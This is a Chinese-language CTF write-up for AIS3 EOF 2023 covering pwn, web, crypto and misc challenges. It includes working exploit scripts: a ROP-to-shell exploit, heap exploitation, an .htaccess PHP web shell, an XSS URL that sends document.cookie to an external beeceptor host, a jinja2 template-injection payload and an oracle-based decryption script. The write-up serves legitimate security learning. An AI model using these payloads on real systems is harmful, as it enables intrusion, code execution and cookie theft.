# AIS3 EOF 2023 writeup
* Team name: PASTA
* Team member:
* NTU R11922015 林祐丞
* NTU R11922138 蕭彧
## 1. Pwn
### real rop
題目裡有一個明顯的stack overflow,但空間不大只有0x20的空間可以overflow,扣掉old rbp只剩0x18也就是只有3次rop的空間,所以很大機率是要用one_gadget來get shell。
```c=
#include <unistd.h>
int main()
{
char buf[0x10];
read(0, buf, 0x30);
write(1, buf, 0x30);
return 0;
}
```
先使用checksec來看一下開的防護。

可以看到pie是enable的,這代表我們不能用本地gadgets的位置直接套用到遠端上,所以我想要先leak出libc的位置,這樣就可以用libc的rop gadgets了,但這就衍生出了第一個問題,這個程式跑完一遍read write就會結束了,所以我剛leak出來的libc位置下一次又會不一樣了,所以我第一步想要做的就是讓程式可以跳回到開頭重複執行。
經過google許多bypass pie的方式後,我查到了雖然pie使每次的base address都不一樣,但是address的最後12位元會是一樣的,也就是說我可以overwrite main function的return adderss的最後12位元來使程式跳到return address的附近,首先就要先看看return address究竟會跳到哪裡。
用gdb可以看到會return到__libc_start_main+243

查了一下__libc_start_main的spec,可以看到第一個參數($rdi)是傳入main function 的starting address
```c=
int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));
```
經過trace __libc_start_main 的 assembly code後,我發現rdi會被push到rsp+0x18的位置,所以__libc_start_main+241的call指令就是call main function,所以我只要跳到__libc_start_main+217就可以再重新執行一次main function,而這個跳的距離也在pie不會改到的範圍內,只需要把__libc_start_main+243的address的最後一個byte從0x83蓋成0x69就可以了。

能讓程式重複執行後,下一步就是leak出libc的address,而這個十分簡單,因為__libc_start_main就是在libc內,只要減掉他在libc的offset就可以得到libc的base address,最後就是找到適當的one_gadget就可以直接get shell了。
我用的是紅框框起來的one_gadget,因為r15從頭到尾都是NULL,因此只要找`pop r12;ret`的gadget就可以了,這樣也剛好在只能用3次rop的限制內

最後附上完整的exploit
```python=
from pwn import *
context.arch = 'amd64'
p = remote('edu-ctf.zoolab.org', 10014)
# buf old_rbp overflow
buf = '\x31'*0x10 + '\x00'*0x8 + '\x69'
p.send(buf)
print(p.recv(0x18))
libc = u64(p.recv(0x8)) - 147561
pop_r12_ret = libc + 0x2f709
execve = libc + 0xe3afe
print('libc: ', hex(libc))
p.recv(0x10)
ROP = flat(
0, 0,
0,
pop_r12_ret, 0,
execve
)
p.send(ROP)
p.interactive()
```
### superums
這題是heap選單題,但我快速的掃過一次後發現裡面既沒有UAF也沒有明顯的heap overflow,甚至限制了note size的大小要小於0x78讓我不能輕鬆的free到unsorted bin去,但可以看到他Note的struct在記錄size的地方剛好是free chunk fd的位置
```c=
struct Note
{
unsigned short size;
char *data;
};
```
所以我可以將它free完之後,讓size的值變成fd的值,之後再重新拿回這塊記憶體然後直接執行edit_data()來overflow吧? 結果沒這麼簡單,因為data的位置是tcache key的位置,所以在free後會先被key蓋掉,而再重新malloc後key的欄位會被清零,edit_data()看到你的data pointer是NULL就會認為你是第一次執行edit而重新malloc data且更新size,可以看到下面第11行的if statement就是在check這件事
```c=
void edit_data()
{
unsigned short idx;
unsigned short size;
idx = get_idx();
if (!notes[idx])
printf("no, no ...\n"), exit(1);
size = get_size();
if (!notes[idx]->data) {
notes[idx]->data = malloc(size);
notes[idx]->size = size;
}
if (size > notes[idx]->size)
printf("no, no ...\n"), exit(1);
read(0, notes[idx]->data, size);
printf("success!\n");
}
```
後來通靈了一下想到了fastbin沒有key這個欄位,所以我只要free進fastbin就可以用我上面提及的方法成功繞過size的限制了!在堆了7個chunk進tcache後,我free一個帶有data的note,這樣做的目的是在繞過size的限制時同時data的pointer會指向heap上的chunk,在重新malloc時我將7號note malloc到size是fd的值且data pointer指向8號note。至此,我不僅可以做到heap overflow,也達到的任意寫的功能,因為我可以overflow到8號note的data pointer去讓他指向任何我想寫的地方,也順便解決了data size不能超過0x78的限制(get_size()會擋掉),再來我需要去得到libc的地址來讓我得到free_hook的地址。
首先,我先用show_notes()來leak出了heap上的地址,因為7號note的data pointer指向8號note,而8號note的size欄位剛好是之前遺留下來的fd,得到的heap上的地址後,就可以開始發揮我任意寫的功能,但這時遇到了一個大難題,在不能簡單free到unsorted bin的情況下到底怎麼得到libc的地址?
我一開始是直接去把一個note的size硬寫成0x420後再把它free掉,想說這樣就會進到unsorted bin了吧,但執行起來總是會有error,後來用gdb一看才發現把Top chuck的結構給破壞掉了,因此後來經過很久的思(通)考(靈)後想到我可以用一堆notes的data來堆成一個連起來有0x420的chunks們,再把第一個chunk的size改成0x420後free掉,這樣就可以讓它進入到unsorted bins了!!!
最後把8號note的data pointer指到unsorted bins的fd上並用show_notes()讀出來,就得到了libc的地址,接下來就是用我任意寫的功能去把system寫到free_hook,free掉一個data是'/bin/sh\x00'的note就成功get shell了。
### how2know_revenge
這題跟作業的how2know一樣禁止了幾乎全部的syscall剩下exit和exit_group,因此只能用執行時間的長短來逐個bit的去判斷,跟作業不同的地方在這題需要使用rop,所以我大部分的時間都花在找gadgets上面。
首先需要知道一個bit是0或1,我使用的判斷方法是用將想要知道的bit and對應的數字,舉個例子,我想知道一個byte的最低位的bit是0或1,我會把這個byte跟0x00000001做and,結果是0的話這個bit就是0,反之這個bit就是1。
之後我使用cmp和jne來控制程式的flow,我把and完的結果跟0做cmp,如果這個bit是0的話jne就會跳到程式中的一個位置,這邊的位置是哪裡都可以目的是為了讓程式盡快結束,而如果這個bit是1的話,則不會執行jne,反而會掉入我設計的無窮迴圈(反覆push和pop stack),設置好timeout後就可以用執行時間的長短來判斷是0或1了。
這邊附上我有用到的ROP gadgets
```python=
pop_rax = 0x458237 # pop rax ; ret
movzx_eax_rax = 0x4282f3 # movzx eax, byte ptr [rax] ; ret
push_rdi = 0x43a93e # push rdi ; ret
pop_rdi = 0x401812 # pop rdi ; ret
pop_rsi = 0x402798 # pop rsi ; ret
and_cmp_jne = 0x48715a # and eax, esi ; cmp rdi, rax ; jne 0x487168 ; pop rbx ; ret
```
以及最後的payload,flag_addr是flag在bss section的address,byte_offset是目前要爆破的byte,bit_offset是目前要爆破的bit
```python=
payload = flat(
0, 0,
0, 0,
0,
pop_rax, flag_addr + byte_offset,
movzx_eax_rax,
pop_rsi, 2**bit_offset,
pop_rdi, 0,
and_cmp_jne, 0,
pop_rdi, 0x43a93e,
push_rdi,
)
```
## 2. Web
### Share
這題能夠上傳任意的 zip 檔案到網站上,上傳後會被解壓縮到 static 底下同使用者名稱的資料夾,看了以下這篇文章後,我得知只要在 zip 參數中加上 `--symlink`,就能夠將軟連結壓縮並上傳到網站上,並透過軟連結讀取到 server 中任意位置的檔案。
我壓縮了一個指向 `/` 的軟連結並上傳,並透過數次嘗試發現位於根目錄底下的 `flag.txt`。
[CTF赛题分析之 Flask 目录穿越](https://zhuanlan.zhihu.com/p/436692644)
### Gist
本題允許使用者上傳一個檔案,檔案會獨立放在一個資料夾底下,但題目又不允許所有與 php 相關的 file extension,因此,如果要讓上傳的檔案被當成 php 腳本執行,必須要上傳一個 .htaccess 檔案並新增規則,讓 apache 可以把 .htacess 當成 php 腳本執行。
然而,由於題目中禁止檔案中有 php 字樣,因此有兩個困難點要克服。
* php 以 `<?php` 與 `?>` 作為執行的開頭與結束
當 short_open_tag 為 On, `<?php` 就可以以 `<?` 替代。
* .htaccess 中 php 對應的 Handler
php 對應的 handler `application/x-httpd-php` 也有 php 字樣,經由多次嘗試後發現在 h 的前面加上一個斜線就可以繞過黑名單,並成功被當成 php 腳本執行。
解決以上的兩個問題後,我撰寫了以下檔案並上傳到網站上
```config
<FilesMatch ".htaccess$">
# apaache 預設不能讀取 .ht 開頭的檔案,需要這一行來解除限制
Require all granted
SetHandler application/x-httpd-p\hp
</FilesMatch>
# <? system('cat /flag.txt /flag.txt'); ?>
```
### Trust
乍看之下會以為網站只提供簡單的字串置換功能,但實際上不然,網址中的 keypath 與 valuepath 兩個參數經由 get 函數後能讀取到 `document.all` 底下的任意屬性。
本題的目標是 `document.cookie`,經由研究後發現 ```doucument.all``` 底下都是類似 dom 的屬性,並發現他們有 ```parentNode``` 可以逐步往 dom 的頂端走,並且 dom 的頂端是 ```document```,進而就能得到 ```document.cookie```。
將 valuepath 修改成 `container/parentNode/parentNode/parentNode/parentNode/cookie` 後,就能成功在網頁上顯示 cookie。
接著,我們需要將 cookie 送到外部,由於這題有使用 dompurify 來過濾 innerHTML 的內容,因此,我直接將 cookie 嵌在 img tag 的 src 屬性中,讓他被當成正常網址的參數被一同送到外部,最終得到 flag。
以下是我傳給 report 的 url
```url
https://trust.ctf.zoolab.org/render?
html=<img src="https://qwer123.free.beeceptor.com/?c={{name}}">&
key=name&value=123&
keypath=key/value&
valuepath=container/parentNode/parentNode/parentNode/parentNode/cookie
```
註:https://qwer123.free.beeceptor.com 是我用來接收 flag 的外部網站
##
## 3. Misc
### Execgen
經由上網查詢後找到以下的文章,參考後透過以下的 payload 得到 flag
```bash
/usr/bin/env -S cat /home/chal/flag
```
[Multiple arguments in shebang](https://unix.stackexchange.com/questions/399690/multiple-arguments-in-shebang)
## 4. Crypto
### Hex
本題需要解出轉換成 token,並且 token 本身轉成 hex 形式後剛好為 16 bytes,與 AES 的一個 block 一樣大
這題提供一個解密機,解密後能知道字元是否落在 hex 的範圍內,透過這個機制,我們可以透過以下的方式得到 flag
對於 iv 中的每個 byte
1. 假設這個 byte 為 hex 中的某一個成員
2. 將這個位置對應 IV 的 byte xor 自己,再 xor 成 16 個不同的 hex 成員並送到解密機中,如果解密機的結果都是 "Well Received",則代表猜測正確,反之則代表猜測錯誤
經由多次的嘗試後,就能夠拚湊出原本的 token
```python
from pwn import *
p = remote('eof.ais3.org', 10050)
iv = bytes.fromhex(p.recv(32).decode())
enc= bytes.fromhex(p.recv(32).decode())
assert(p.recv(1) == b'\n')
p.recvuntil(b': ')
sha=bytes.fromhex(p.recvline(False).decode())
print(sha.hex())
s = b'0123456789abcdef'
for i in range(16):
pre_iv = iv[:i]
tgt_iv = iv[i]
pos_iv = iv[i+1:]
for guess in s:
# print(guess)
m = tgt_iv ^ guess
for n in s:
p.recvuntil(b'Exit\n')
p.sendline(b'1')
p.recvuntil(b'(hex): ')
n ^= m
payload = pre_iv + n.to_bytes(1, 'little') + pos_iv + enc
p.sendline(payload.hex().encode())
if p.recvline() != b'Well received\n':
break
else:
print(chr(guess), end='', flush=True)
break
print(guess)
p.interactive()
```
## 5. Revenge
### water
這題跟washer的差別只差在編譯的參數不一樣,但posix_spawn就不會執行我們的file了,真奇怪,我自己試著編譯發現只要有加-fsanitize=address,posix_spawn就會正常執行我們的file,但我到解完題目還是不知道為什麼會這樣QQ
這題有標上pwn的標籤,所以我先試著尋找程式有沒有任何buffer overflow的地方,一找就發現了scanf有很明顯的buffer overflow,他是使用%s來讀取字串,所以只要我的input超過100且沒有'\0'就可以成功stack overflow了!
我的作法是去把filename給蓋成/flag,然後再執行option2也就是讀檔,這樣就可以成功把flag讀出來了,其中我放入了'#'在input裡,目的是為了讓我的input validate失敗,這樣就可以避免把我的input寫到/flag裡面,把下面這串字串餵給option1的input,然後再執行option2的就可以成功把flag讀出來了
```
#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/flag
```
### ShaRCE
與 Share 不同,這題要執行 `/readflag` 才能獲得 flag。
透過 Share 學到的資訊加上動腦筋,我們可以透過兩次上傳來寫入檔案到伺服器上的任意位置。第一次將軟連結上傳到網站上,第二次再將軟連結的位置當成資料夾,並放入想蓋寫的檔案到資料夾中的對應位置並上傳,就能夠達成目標。
透過這樣的手法,我將 app.py 蓋寫卻發現網頁沒有動靜,原因是 app.py 已經被執行起來,因此無論怎麼蓋寫都不會有用。第二次我嘗試蓋寫 index.html 並透過計算機安全 splitline 課堂上所教在本地慢慢試出 jinja2 執行 shell 的程式碼並上傳,最後得到 flag。
上傳的檔案架構如下
```
# 1.zip 第一次上傳的檔案
app 指向 /app 的軟連結
# 2.zip 第二次上傳的檔案
app 一般的資料夾
|--- template 一般的資料夾
|--- index.html 欲蓋寫的檔案
```
index.html 檔案內容如下
```jinja
<!-- index.html -->
{{ ''.__class__.__mro__[1].__subclasses__()[-60].__init__.__globals__['run'](["/readflag"], capture_output=True).stdout }}
```